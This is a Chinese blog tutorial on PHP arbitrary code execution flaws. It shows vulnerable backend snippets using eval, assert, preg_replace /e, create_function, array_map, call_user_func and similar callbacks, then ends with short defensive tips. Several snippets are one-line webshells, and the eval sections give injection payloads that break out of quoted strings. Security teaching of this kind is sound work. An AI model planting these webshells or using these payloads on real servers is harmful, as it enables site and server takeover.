任意代码执行漏洞

目录

一、什么是任意代码执行漏洞

二、漏洞的危害

三、任意代码执行的漏洞

1.eval ()函数漏洞利用

1.1eval ()函数漏洞利用_1

1.2eval ()函数漏洞利用_2

1.3 eval ()函数漏洞利用_3

1.4preg_replace+/e 利用

2.assert()函数

3.preg_replace();

4. create_function()函数

5.array_map()函数

 6.call_user_func() 和call_user_func_array () 函数 (原理一样)

7.array_filter()函数

8. usort()和uasort()函数

9.$_GET['a']($_GET['b'])

四、任意代码执行漏洞的防护


一、什么是任意代码执行漏洞

web应用程序是指程序员在代码中使用了一些执行函数例如eval,assert等函数,用户可以控制这个字符串去这些函数中执行,从而造成安全漏洞

二、漏洞的危害

  • 执行任意的代码,例如协议脚本文件
  • 向网站写入webshell
  • 控制整个网站或者服务器

三、任意代码执行的漏洞

1.eval ()函数漏洞利用

1.1eval ()函数漏洞利用_1

前端传入参数 :

(1)?data=phpinfo();

(2)?/data=1;phpinfo();

(3)?data=${phpinfo()}

查看后端代码:

<?php 
	//接收get参数
	$data = $_GET['data'];
	//eval函数使用 	
	eval("\$ret = $data;"); 
	echo $ret;
 ?>

1.2eval ()函数漏洞利用_2

查看后端代码:

<?php
	//关闭魔术方法  
	//strtolower 把字符串转为小写
	$data=$_GET['data'];
	//单引号方式
	eval("\$ret = strtolower('$data');");
	

	echo $ret;
?>

执行后端代码,此时查看输入的是phpinfo()字符串,并不是版本,此时我们需要改变参数 

传参参方式:闭合前面的,注释后面的,执行中间的代码

1.2.1 /?data=1');phpinfo();//

1.2.2 /?data=1');phpinfo();('

 

 

1.3 eval ()函数漏洞利用_3

<?php 
	//双引号的方式
	$data=$_GET['data'];
	eval("\$ret = strtolower(\"$data\");");
	echo $ret;

 ?>

传参执行代码:

输入字符串 

1.3.1传参参方式:闭合前面的,注释后面的,执行中间的代码

 闭合方式:/?data=1");phpinfo();//或者?data=");phpinfo();("1

非闭合方式:${phpinfo()} (php5.5+)

1.4preg_replace+/e 利用

后端代码:

<?php 
	
	$data = $_GET['data'];
	//正则匹配
	$preg = '/<data>(.*)<\/data>/e';
	//正则替换 匹配的正则 替换的内容 操作的字符串
	preg_replace($preg,'$ret="\\1";', $data);
	echo $ret;
 ?>

参数输入: 使用${ } 不然内容会被当做字符串输出/?data = <data>${phpinfo()}</data>

 

2.assert()函数

后端代码

<?php 
	// assert(phpinfo()); //查看php版本
	@assert($_REQUEST[1]);  //一句话木马
 ?>

 

3.preg_replace();

<?php 
	//定义一个字符串
	/*$str = 'aBcdeFg';
	echo $str;
	//正则匹配
	$preg = '/(\w+)/i';
	//定义替换内容
	$aa = 'suics';
	echo '<br>';
	//进行字符串替换   正则匹配  替换字符   操作的字符串
	echo preg_replace($preg, $aa, $str); //suics*/

	//存在的问题 当正则匹配使用了 /e 修饰符 那么替换内容会被当做PHP代码执行 5.7版本以上被取消
	$str = 'sCdScds';
	//使用/e修饰符
	$preg = '/\w+/ie';
	//定义替换字符串为php可执行代码例:phpinfo()
	// $aa = 'phpinfo()';
	//如果这里替换的字符可控
	$aa = "$_POST[1]";
	//进行替换
	echo preg_replace($preg, $aa, $str);
 ?>

执行代码,

使用工具连接

也可以通过参数查看PHP版本

4. create_function()函数

?php 
	//函数内部执行代码
	//查看php版本
	// $func = create_function('',phpinfo());
	// $func();

	//一句话木马
	$func = create_function('',$_POST[1]);
	$func();
 ?>

执行代码

使用工具连接

5.array_map()函数

后端代码:

<?php 	
	//传递函数名
	$f = $_GET['f']; //assert
	//传递php执行代码
	$c = $_REQUEST['c']; 
	$a[0] = $c;
	// array_map(functionName,arr1,arr2...)
	//函数名(必填)  需要修改的数组(必须填)1个或多个
	//利用$f函数执行$a->php代码       
	$arr = array_map($f,$_REQUEST);
	// var_dump($arr);
 ?>

 执行该代码

 查看PHP版本

 6.call_user_func() 和call_user_func_array () 函数 (原理一样)

后端代码:

<?php 	
	//查看PHP版本    函数名 + php代码
	// call_user_func('assert','phpinfo()');
	$a = $_GET['a']; //函数名 例:assert
	$b = $_POST['b']; //一句话连接密码
	call_user_func($a,$b); //assert $_POST['b']
	// 						函数       数组参数
	// call_user_func_array(function, param_arr)
	$a = $_GET['a'];
	$b = $_POST['b'];
	$c[0] = $b;
	call_user_func_array($a, $c);

 ?>

执行代码:查看PHP版本

7.array_filter()函数

后端代码:

<?php 
	//            数组  回调函数
	//array_filter($arr,function);
	$aa = $_GET['aa'];//输入函数名
	$bb = $_POST['bb']; //函数参数
	$arr[0] = $bb;  //放入数组
	array_filter($arr,$aa);
 ?>

 执行该代码 可以查看PHP版本

8. usort()和uasort()函数

查看后端代码

<?php 
    //元素排序 数组 自定义排序函数
    // usort(array, myfunction)
    //版本需要5.4+//元素排序 数组 自定义排序函数
    // usort(array, myfunction)$a = $_POST['a'];
    //这里注意第一个变量数组需要在首位增加一个任意元素
    $b[0] = 1;$b[1] = $a;
    var_dump($b);
    $c = $_GET['c'];
    usort($b, "$c");
 ?>

9.$_GET['a']($_GET['b'])

<?php 
	// $_GET['a']($_GET['b']);
	$_GET['a']($_POST['b']);
?>

 执行代码传参

 

四、任意代码执行漏洞的防护

  • 对于eval()函数一定要保证用户不能轻易接触eval的参数或者用正 则严格判断输入的数据格式。
  • 对于字符串一定要使用单引号包裹可控代码,并且插入前进行 addslashes().
  • 对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请 保证第二个参数中,对于正则匹配出的对象,用单引号包裹。
  • 7
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

一句话木马

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值